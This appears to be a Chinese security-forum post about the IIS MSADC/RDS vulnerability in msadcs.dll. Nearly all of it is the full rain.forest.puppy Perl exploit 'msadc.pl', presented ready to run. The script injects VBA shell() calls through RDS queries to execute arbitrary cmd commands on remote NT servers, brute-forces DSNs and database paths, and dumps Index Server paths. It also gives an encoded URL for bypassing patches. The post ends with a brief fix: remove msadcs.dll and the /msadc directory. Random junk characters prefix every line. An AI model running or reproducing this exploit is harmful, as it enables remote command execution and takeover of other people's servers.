IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
Z RjM^
d; '
wl}) 涉及程序：
nT|WJ% Microsoft NT server
)cH\i91 O]XRalkEM 描述：
bVcJ/ +Yx| 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
h?TIxo:6/ N #v[ YO`. 详细：
HW[&q 如果你没有时间读详细内容的话，就删除:
'_? Z{| c:\Program Files\Common Files\System\Msadc\msadcs.dll
2(d 有关的安全问题就没有了。
UwW@}cy,L ;jgf,fbM 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
pBAA wHD Sv#MlS> 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
N-l`U(Z~P 关于利用ODBC远程漏洞的描述，请参看:
yM 7{ v$X0 L$Z! http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm i5 r<CxS rT R$\ [C 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
\Hb!<m rp http://www.microsoft.com/security/bulletins/MS99-025faq.asp ;I 5 P<7VW -+){ ;, 这里不再论述。
/cClV" S*G T4W20dxL7 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
B\
'rxbH 7z$ 53z /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
3fLdceT 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
% (h6m${j Y9mhDznS Gw) y<h #将下面这段保存为txt文件，然后: "perl -x 文件名"
PZ/ t kw H^Pq[3NQ #!perl
JX'}+.\ #
kVLZdXn,q2 # MSADC/RDS 'usage' (aka exploit) script
| K|AUI #
e_!h>=$%8 # by rain.forest.puppy
Jm , :6T #
lfBCzxifC # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
`0ZH =*P # beta test and find errors!
4j;IyQDvM qdQ4%,E[ use Socket; use Getopt::Std;
'R1C-U3w, getopts("e:vd:h:XR", \%args);
kt
Z~r. + [ DpOI print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
C+\z$/q uNy-r`vg if (!defined $args{h} && !defined $args{R}) {
->qRGUW print qq~
JRBz/ j Usage: msadc.pl -h <host> { -d <delay> -X -v }
Hva!6vwO%O -h <host> = host you want to scan (ip or domain)
JAHmmNlW -d <seconds> = delay between calls, default 1 second
hg12NzbK -X = dump Index Server path table, if available
y:\<FLR}j -v = verbose
T} \>8EEG -e = external dictionary file for step 5
!l dE9 . ~98q1HgS]D Or a -R will resume a command session
:&5u) BUZ74 ~; exit;}
zecM|S _ YQ+8lANC $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
V@+sNM if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
jA8Bmwt;w if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
MZV bOcSAd if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
bBINjs8C_ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
}vZfp5Y if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Kez0Bka 2 G|}ENC if (!defined $args{R}){ $ret = &has_msadc;
2KXF XR die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
C=;}7g w*'DlP<7 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
gD%o0 jt" . "cmd /c ";
6&+dpr&c~= $in=<STDIN>; chomp $in;
^Zs ^ $command="cmd /c " . $in ;
0F uj-q dw#pObH|` if (defined $args{R}) {&load; exit;}
{B=64,D^7R ,h5 FX^ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
*} * HXE5 &try_btcustmr;
y-@`3hYM@ - DGuaUU print "\nStep 2: Trying to make our own DSN...";
Mb_"M7 &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
{u wPP2YD, gT[] "ZT7 print "\nStep 3: Trying known DSNs...";
6jMc|he &known_dsn;
s4 , ` + d >2 ' print "\nStep 4: Trying known .mdbs...";
J %Y-3{TQK &known_mdb;
wR 2`*.O Nba1!5 :M if (defined $args{e}){
O|m-[] print "\nStep 5: Trying dictionary of DSN names...";
IF&edP[V &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
-=
c&K& S]E|a@kD3 print "Sorry Charley...maybe next time?\n";
R(>
oyxA[F exit;
5 3+C;]J ixy:S1 pI ##############################################################################
y[f%0*\B U &^(%W# sub sendraw { # ripped and modded from whisker
@0:Eg 1- sleep($delay); # it's a DoS on the server! At least on mine...
[C
ezz5 my ($pstr)=@_;
U0|wC,7" socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
<_8eOL<X die("Socket problems\n");
M$v\7vBgO! if(connect(S,pack "SnA4x8",2,80,$target)){
Ai% Wt- select(S); $|=1;
FBi&M Z` print $pstr; my @in=<S>;
n%2c<@p# select(STDOUT); close(S);
>]Mhkf/=) return @in;
Ye^#]%m } else { die("Can't connect...\n"); }}
Yh,, (V6 1h]nE/T.O ##############################################################################
JWM4S4yZHR R74RJi& sub make_header { # make the HTTP request
/L`qOr2E my $msadc=<<EOT
i @M^ l`w POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
, Sf:R4= User-Agent: ACTIVEDATA
c#9=o;1El Host: $ip
^~B#r # Content-Length: $clen
WYvcN8F Connection: Keep-Alive
L.9@rwfI \V j7%ph ADCClientVersion:01.06
s7`2ky()kz Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
Nc EPPl 0I z cV~)go6 --!ADM!ROX!YOUR!WORLD!
7O r?$ Content-Type: application/x-varg
3 cqc< Content-Length: $reqlen
M%13b$i~f pcQzvLk EOT
; Uypv|xX ; $msadc=~s/\n/\r\n/g;
fs KZ return $msadc;}
;x)f;!e+ 9D5v0Qi ##############################################################################
+s+E!= s d<_IC7$u> sub make_req { # make the RDS request
% Q93n {? my ($switch, $p1, $p2)=@_;
,=u!hg my $req=""; my $t1, $t2, $query, $dsn;
93)1 VyI M ,glu if ($switch==1){ # this is the btcustmr.mdb query
: 2t?0Y R $query="Select * from Customers where City=" . make_shell();
:y~l?0b&8 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
WD8F]+2O\ $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
jTsQsHq gfX it$s elsif ($switch==2){ # this is general make table query
/u"K`y/*j\ $query="create table AZZ (B int, C varchar(10))";
/KgP<2p $dsn="$p1";}
b5
AP{
# 2a k*a I elsif ($switch==3){ # this is general exploit table query
|@D%y & $query="select * from AZZ where C=" . make_shell();
CrGDo9JdvT $dsn="$p1";}
*% ]&5 w` Cs , elsif ($switch==4){ # attempt to hork file info from index server
jjoyMg95 $query="select path from scope()";
=, U~ $dsn="Provider=MSIDXS;";}
x50ZwV&j +o 6"Z) elsif ($switch==5){ # bad query
N,ihQB5 $query="select";
Xj 6 ?,J $dsn="$p1";}
n~yhX%=_Du `g'9)Xf4KT $t1= make_unicode($query);
b9 l%5a $t2= make_unicode($dsn);
!5zj+N $req = "\x02\x00\x03\x00";
=6, w~|W $req.= "\x08\x00" . pack ("S1", length($t1));
DoE N`K\U $req.= "\x00\x00" . $t1 ;
Cm6%wAzC $req.= "\x08\x00" . pack ("S1", length($t2));
M;X}v#l|XI $req.= "\x00\x00" . $t2 ;
VPDd*32HC $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
U7xQ 5lph return $req;}
-
[vH4~ F`f8q\Fc ##############################################################################
rV/! VJ6x }@A{'q5y sub make_shell { # this makes the shell() statement
V*+Z=Y' return "'|shell(\"$command\")|'";}
sc# q03 )K 0rPnYV ##############################################################################
yMe; *edhJUT sub make_unicode { # quick little function to convert to unicode
L8 $+%Gvo my ($in)=@_; my $out;
D0p>Q^w for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
u85Uy
yN return $out;}
X./7b{P ax &Y8S! W@4 ##############################################################################
Z2{G{]EV( G4K3qD#+H sub rdo_success { # checks for RDO return success (this is kludge)
\ci[<CP my (@in) = @_; my $base=content_start(@in);
= (as{,j if($in[$base]=~/multipart\/mixed/){
D"s
]dQ$r return 1 if( $in[$base+10]=~/^\x09\x00/ );}
}C{wGK+o[ return 0;}
-]Q6R il Xa=oEG ##############################################################################
I #:4H2H6 -*0U&]T sub make_dsn { # this makes a DSN for us
`< cn my @drives=("c","d","e","f");
iFB {a?BE print "\nMaking DSN: ";
iy,jq5uw foreach $drive (@drives) {
v?#W/].C+ print "$drive: ";
tq8rG@-C my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
I(0 *cWO "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
a*UxRi 8 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
Ov~>* [ $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
)tR@\ G >% return 0 if $2 eq "404"; # not found/doesn't exist
sy+tLDMd if($2 eq "200") {
:LMLY<8>9 foreach $line (@results) {
6+_ qGV return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
\oV g(J&o } return 0;}
CW;=q[+w hT$/ B| ##############################################################################
>0jg2vqt :)Z.! sub verify_exists {
&/]g@^h9 my ($page)=@_;
)p+6y H my @results=sendraw("GET $page HTTP/1.0\n\n");
$n9Bp'< return $results[0];}
{P
$sQv 5>"X?U }He ##############################################################################
OOX[xv!b ^@AIXBe sub try_btcustmr {
HF]|>1 WV[ my @drives=("c","d","e","f");
q5ja \ my @dirs=("winnt","winnt35","winnt351","win","windows");
QMWDII&t V.kRV{43 foreach $dir (@dirs) {
rh 7%<xb> print "$dir -> "; # fun status so you can see progress
& 0%x6vea foreach $drive (@drives) {
~{gV`nm=J print "$drive: "; # ditto
^Y+P(o$HM $reqlen=length( make_req(1,$drive,$dir) ) - 28;
$]S*(K3U ~ $reqlenlen=length( "$reqlen" );
85]3y%f9 $clen= 206 + $reqlenlen + $reqlen;
C:@JLZB H D {2nZT my @results=sendraw(make_header() . make_req(1,$drive,$dir));
uO}UvMW if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
^,N=GZRWW else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
dG*2-v^G ~jn~M_}K ##############################################################################
4ROuy+Ms ' ;*409 P sub odbc_error {
8k
-l`O~ my (@in)=@_; my $base;
2<8JY4]!] my $base = content_start(@in);
' lMPI@C6r if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
`\5u/i'Ca! $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+*ZF52hy| $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
6-h(305A $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
+{p S2I}d return $in[$base+4].$in[$base+5].$in[$base+6];}
A1V^Gi@i print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
{S5H H" print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
kF29~ $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
0}iND$6@a q[MZSg ##############################################################################
z ,q1TU 9 M7g 6m sub verbose {
1o%E(*M4I my ($in)=@_;
Yl0_?.1 z return if !$verbose;
! 4{T<s;q print STDOUT "\n$in\n";}
"$rmy>d <WRrB
`nO ##############################################################################
5Cjh%rj(jl >7I"_#x1: sub save {
= & =#G3f my ($p1, $p2, $p3, $p4)=@_;
y?@(%PTp open(OUT, ">rds.save") || print "Problem saving parameters...\n";
?0k4l8R print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
b rt1Kvu8( close OUT;}
TuX9:Q BEnIyVU;L ##############################################################################
KBkS>0;X .sR=Mf7 T sub load {
f15f)P my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
EsKOzl[c: open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Hklg f @p=<IN>; close(IN);
>% {H >?Hn $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
U UaC@Rs2 $target= inet_aton($ip) || die("inet_aton problems");
ud,=O X q print "Resuming to $ip ...";
1^_V 8dm) $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
yV/A%y-P if($p[1]==1) {
# 8fq6z|JZ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
[/IN 820t $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
yEB1gYJB my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
MclW!CmJ if (rdo_success(@results)){print "Success!\n";}
o+I'nFtnI else { print "failed\n"; verbose(odbc_error(@results));}}
aokV'6 elsif ($p[1]==3){
`37$YdX if(run_query("$p[3]")){
CFyu9Al print "Success!\n";} else { print "failed\n"; }}
$F/Uk;*d! elsif ($p[1]==4){
yTwtGo& if(run_query($drvst . "$p[3]")){
0$A7"^] print "Success!\n"; } else { print "failed\n"; }}
%RX}sS exit;}
(n 0h#% mcqLN 5 ##############################################################################
.*W_;F o S @[B?sNj sub create_table {
1<TB{}b
Z my ($in)=@_;
/<-@8CC< $reqlen=length( make_req(2,$in,"") ) - 28;
Qq*Ks
5 $reqlenlen=length( "$reqlen" );
C.Ty\@U $clen= 206 + $reqlenlen + $reqlen;
r ;
pS_PV my @results=sendraw(make_header() . make_req(2,$in,""));
[OK( return 1 if rdo_success(@results);
W5_aS2 $ my $temp= odbc_error(@results); verbose($temp);
VYC$Q;Z return 1 if $temp=~/Table 'AZZ' already exists/;
%kSpMj| return 0;}
ipdGAG >y{oC5S ##############################################################################
L92vb zP D3xy J sub known_dsn {
dD.;P=AP # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
"Q < my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
FhVoN} "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
lbUUf} "banner", "banners", "ads", "ADCDemo", "ADCTest");
nOj0"c ( &^k''f foreach $dSn (@dsns) {
;N;['xcx; print ".";
(' Doy1L next if (!is_access("DSN=$dSn"));
nkii0YB! if(create_table("DSN=$dSn")){
K! I]0!: print "$dSn successful\n";
`D~wY^q{ if(run_query("DSN=$dSn")){
"yA=Tw print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
7ts`uI<E@7 print "Something's borked. Use verbose next time\n";}}} print "\n";}
oW\kJ>! Kp)H>~cL ##############################################################################
R-lpsvDDL2 u EX+j sub is_access {
?&r t)/DV, my ($in)=@_;
WO ]9\"|y $reqlen=length( make_req(5,$in,"") ) - 28;
A aX][2y8 $reqlenlen=length( "$reqlen" );
.5K}R< $clen= 206 + $reqlenlen + $reqlen;
;r. 0=Uo9] my @results=sendraw(make_header() . make_req(5,$in,""));
DL]\dD my $temp= odbc_error(@results);
>3&Oe verbose($temp); return 1 if ($temp=~/Microsoft Access/);
?@YABl return 0;}
CS|al (?~ %|\Af>o4d ##############################################################################
(`me}8 xq-TT2}<L sub run_query {
\~~y1.,U. my ($in)=@_;
sm9 /sX! $reqlen=length( make_req(3,$in,"") ) - 28;
u-%|ZSg $reqlenlen=length( "$reqlen" );
Wi%e9r{hU $clen= 206 + $reqlenlen + $reqlen;
rS&"UH?c7 my @results=sendraw(make_header() . make_req(3,$in,""));
Wt
1]9{$ return 1 if rdo_success(@results);
|(77ao3 my $temp= odbc_error(@results); verbose($temp);
Iq["(!7E5 return 0;}
Ka+N5 T.f [B+]F~}@ ##############################################################################
Q$lgC
v^M ]**h`9MF
sub known_mdb {
ayK?\srw my @drives=("c","d","e","f","g");
q\]"}M 8 my @dirs=("winnt","winnt35","winnt351","win","windows");
!)-)*T my $dir, $drive, $mdb;
g;mX {p_@ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
>pRC$'Usx f<;w1sM \ # this is sparse, because I don't know of many
-lqsFaW my @sysmdbs=( "\\catroot\\icatalog.mdb",
c[<>e#s+; "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
8o%g2 P9. "\\system32\\certmdb.mdb",
xixdv{M<FF "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
&V7 7Wn OY X4 I+ my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
%=[xc? "\\cfusion\\cfapps\\forums\\forums_.mdb",
yhG%@vS q "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
odsLFU( "\\cfusion\\cfapps\\security\\realm_.mdb",
/(jG9R M "\\cfusion\\cfapps\\security\\data\\realm.mdb",
6i`Y]\X~# "\\cfusion\\database\\cfexamples.mdb",
> Sc/E}3 "\\cfusion\\database\\cfsnippets.mdb",
"%E<%g "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
UEeq@ot/ 4 "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
s9aa _Th "\\cfusion\\brighttiger\\database\\cleam.mdb",
u/ZV35z "\\cfusion\\database\\smpolicy.mdb",
4 ];<`
% "\\cfusion\\database\cypress.mdb",
Q@0Zh, l "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
3]wV 1<K "\\website\\cgi-win\\dbsample.mdb",
KJ#SE| "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
oGvk,mh"( "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
e~P4>3 ); #these are just
mIh >8))E foreach $drive (@drives) {
hSgH;k foreach $dir (@dirs){
e]DuV)k& foreach $mdb (@sysmdbs) {
Bj *\)lG<
print ".";
"J"RH:$v if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
H9%[!
RF print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
cf+EQY if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
P1qQ )-J print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
aGb HDo } else { print "Something's borked. Use verbose next time\n"; }}}}}
J|=0 :G 5`\"UC7?% foreach $drive (@drives) {
/hp
[ +K foreach $mdb (@mdbs) {
% Kzu&*9Hb print ".";
Zgw4[GpL if(create_table($drv . $drive . $dir . $mdb)){
LTW iC I print "\n" . $drive . $dir . $mdb . " successful\n";
^Gwpx + if(run_query($drv . $drive . $dir . $mdb)){
[MXyOE print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
5hj
_YqQ7 } else { print "Something's borked. Use verbose next time\n"; }}}}
;FnU[Q`M#L }
C/#?S=w`4 aE
2= ##############################################################################
0T2^$^g K3xt,g
sub hork_idx {
w:nLm, print "\nAttempting to dump Index Server tables...\n";
FxdWJ|rN9D print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
/1 h ${mo~ $reqlen=length( make_req(4,"","") ) - 28;
^ /ZNdwx $reqlenlen=length( "$reqlen" );
f)1*%zg% $clen= 206 + $reqlenlen + $reqlen;
\__xTL\ my @results=sendraw2(make_header() . make_req(4,"",""));
Hj97&C{Q ^ if (rdo_success(@results)){
1A}# j my $max=@results; my $c; my %d;
V~MyX&` for($c=19; $c<$max; $c++){
gN;
E}AQt $results[$c]=~s/\x00//g;
tUT:v K` $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
x T1MW $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
u9u'!hAGH $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
V>(>wSR $d{"$1$2"}="";}
WX4 f3U m foreach $c (keys %d){ print "$c\n"; }
k7kPeq } else {print "Index server doesn't seem to be installed.\n"; }}
}ui D8b{I au#/Q ##############################################################################
wK!7mZ }fZ~HqS2w sub dsn_dict {
P!u0_6 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
g&r3 ; while(<IN>){
K^e4w`F| $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
~FnuO!C next if (!is_access("DSN=$dSn"));
$ EG9V++b3 if(create_table("DSN=$dSn")){
9_x rw: 4 print "$dSn successful\n";
{J*|)-eAw if(run_query("DSN=$dSn")){
6 Z< |L ^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
q+ 2v9K@ print "Something's borked. Use verbose next time\n";}}}
js; k,` print "\n"; close(IN);}
N<~LgH 6%Pvh- ~_ ##############################################################################
Hq
a ay Ij2T h] sub sendraw2 { # ripped and modded from whisker
\ 0/m$V. sleep($delay); # it's a DoS on the server! At least on mine...
3?Fe( !@ my ($pstr)=@_;
-unQ 4G socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
%m##i die("Socket problems\n");
$6]1T> if(connect(S,pack "SnA4x8",2,80,$target)){
*r)d tI* print "Connected. Getting data";
I{i6e'.jP open(OUT,">raw.out"); my @in;
}poLH S/ select(S); $|=1; print $pstr;
5}TTf2&Xo# while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
"Pl.G[Buc- close(OUT); select(STDOUT); close(S); return @in;
x}~Z[ bx } else { die("Can't connect...\n"); }}
:Z.P0= zNM*xP gS ##############################################################################
L, 2; -b| zmFS]IOv$ sub content_start { # this will take in the server headers
nT9Hw~f<j my (@in)=@_; my $c;
L KLLBrm: for ($c=1;$c<500;$c++) {
A "/|h]. if($in[$c] =~/^\x0d\x0a/){
M>ntldV#g% if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
QYps5zcn else { return $c+1; }}}
\Nj#1G return -1;} # it should never get here actually
*^:s! F "u)L e6. ##############################################################################
\$!D^%~; @$1jp4c
sub funky {
G^:?)WRG my (@in)=@_; my $error=odbc_error(@in);
afE8Kqa:H if($error=~/ADO could not find the specified provider/){
7LsV lT [ print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Q%W>m0 % exit;}
]F 3fO5Z if($error=~/A Handler is required/){
%awr3h>$ print "\nServer has custom handler filters (they most likely are patched)\n";
5[]Yx l exit;}
5!BW!-q if($error=~/specified Handler has denied Access/){
Fg0!2MKq* print "\nServer has custom handler filters (they most likely are patched)\n";
d^8n exit;}}
NInZ~4: O-!Q~;3][ ##############################################################################
W9; 9\k X/h|;C* 9 sub has_msadc {
MS\?+8|SV( my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
Ec&_& my $base=content_start(@results);
"gt1pf~y return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
_6 @GT return 0;}
0nZQ" {x [U:P&) ########################
Y8c,+D,Ww [8&+4 < Y*sw;2Z;a 解决方案：
XB]>Z) 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
o|w
w>m 2、移除web 目录: /msadc
